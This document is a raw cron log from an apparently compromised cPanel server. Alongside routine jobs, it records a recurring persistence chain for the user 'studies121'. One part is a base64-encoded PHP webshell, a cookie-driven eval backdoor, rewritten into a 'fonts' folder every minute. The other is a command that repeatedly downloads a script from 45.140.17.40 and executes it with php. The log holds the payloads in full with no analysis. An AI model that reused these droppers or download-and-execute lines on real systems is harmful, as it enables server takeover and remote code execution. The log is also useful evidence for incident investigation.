Sep  2 01:57:01 ip-184-168-122-23 CROND[24683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:57:01 ip-184-168-122-23 CROND[24684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:57:01 ip-184-168-122-23 CROND[24682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:58:01 ip-184-168-122-23 CROND[24775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:58:01 ip-184-168-122-23 CROND[24776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:58:01 ip-184-168-122-23 CROND[24779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:58:01 ip-184-168-122-23 CROND[24780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:58:01 ip-184-168-122-23 CROND[24781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:59:01 ip-184-168-122-23 CROND[24863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:59:01 ip-184-168-122-23 CROND[24866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:59:01 ip-184-168-122-23 CROND[24865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:59:01 ip-184-168-122-23 CROND[24868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:00:02 ip-184-168-122-23 CROND[24972]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:00:02 ip-184-168-122-23 CROND[24973]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 02:00:02 ip-184-168-122-23 CROND[24977]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:00:02 ip-184-168-122-23 CROND[24983]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:00:02 ip-184-168-122-23 CROND[24980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:00:02 ip-184-168-122-23 CROND[24982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:00:02 ip-184-168-122-23 CROND[24984]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  2 02:00:02 ip-184-168-122-23 CROND[24986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:00:02 ip-184-168-122-23 CROND[24985]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:00:02 ip-184-168-122-23 CROND[24981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:01:01 ip-184-168-122-23 CROND[25083]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 02:01:01 ip-184-168-122-23 CROND[25088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:01:01 ip-184-168-122-23 CROND[25086]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 02:01:01 ip-184-168-122-23 CROND[25089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:01:01 ip-184-168-122-23 CROND[25087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:01:01 ip-184-168-122-23 CROND[25091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25083]: starting 0anacron
Sep  2 02:01:01 ip-184-168-122-23 anacron[25103]: Anacron started on 2026-09-02
Sep  2 02:01:01 ip-184-168-122-23 anacron[25103]: Normal exit (0 jobs run)
Sep  2 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25106]: finished 0anacron
Sep  2 02:02:01 ip-184-168-122-23 CROND[25180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:02:01 ip-184-168-122-23 CROND[25184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:02:01 ip-184-168-122-23 CROND[25183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:02:01 ip-184-168-122-23 CROND[25182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:02:01 ip-184-168-122-23 CROND[25185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:03:01 ip-184-168-122-23 CROND[25271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:03:01 ip-184-168-122-23 CROND[25272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:03:01 ip-184-168-122-23 CROND[25273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:03:01 ip-184-168-122-23 CROND[25274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:04:01 ip-184-168-122-23 CROND[25442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:04:01 ip-184-168-122-23 CROND[25443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:04:01 ip-184-168-122-23 CROND[25446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:04:01 ip-184-168-122-23 CROND[25447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:04:01 ip-184-168-122-23 CROND[25448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:05:01 ip-184-168-122-23 CROND[25542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:05:01 ip-184-168-122-23 CROND[25545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:05:01 ip-184-168-122-23 CROND[25544]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 02:05:01 ip-184-168-122-23 CROND[25546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:05:01 ip-184-168-122-23 CROND[25548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:05:01 ip-184-168-122-23 CROND[25547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:05:01 ip-184-168-122-23 CROND[25549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:06:01 ip-184-168-122-23 CROND[25640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:06:01 ip-184-168-122-23 CROND[25641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:06:01 ip-184-168-122-23 CROND[25642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:06:01 ip-184-168-122-23 CROND[25643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:06:01 ip-184-168-122-23 CROND[25644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:07:01 ip-184-168-122-23 CROND[25742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:07:01 ip-184-168-122-23 CROND[25744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:07:01 ip-184-168-122-23 CROND[25747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:07:01 ip-184-168-122-23 CROND[25745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:08:01 ip-184-168-122-23 CROND[25821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:08:01 ip-184-168-122-23 CROND[25824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:08:01 ip-184-168-122-23 CROND[25823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:08:01 ip-184-168-122-23 CROND[25826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:08:01 ip-184-168-122-23 CROND[25827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:09:01 ip-184-168-122-23 CROND[25992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:09:01 ip-184-168-122-23 CROND[25993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
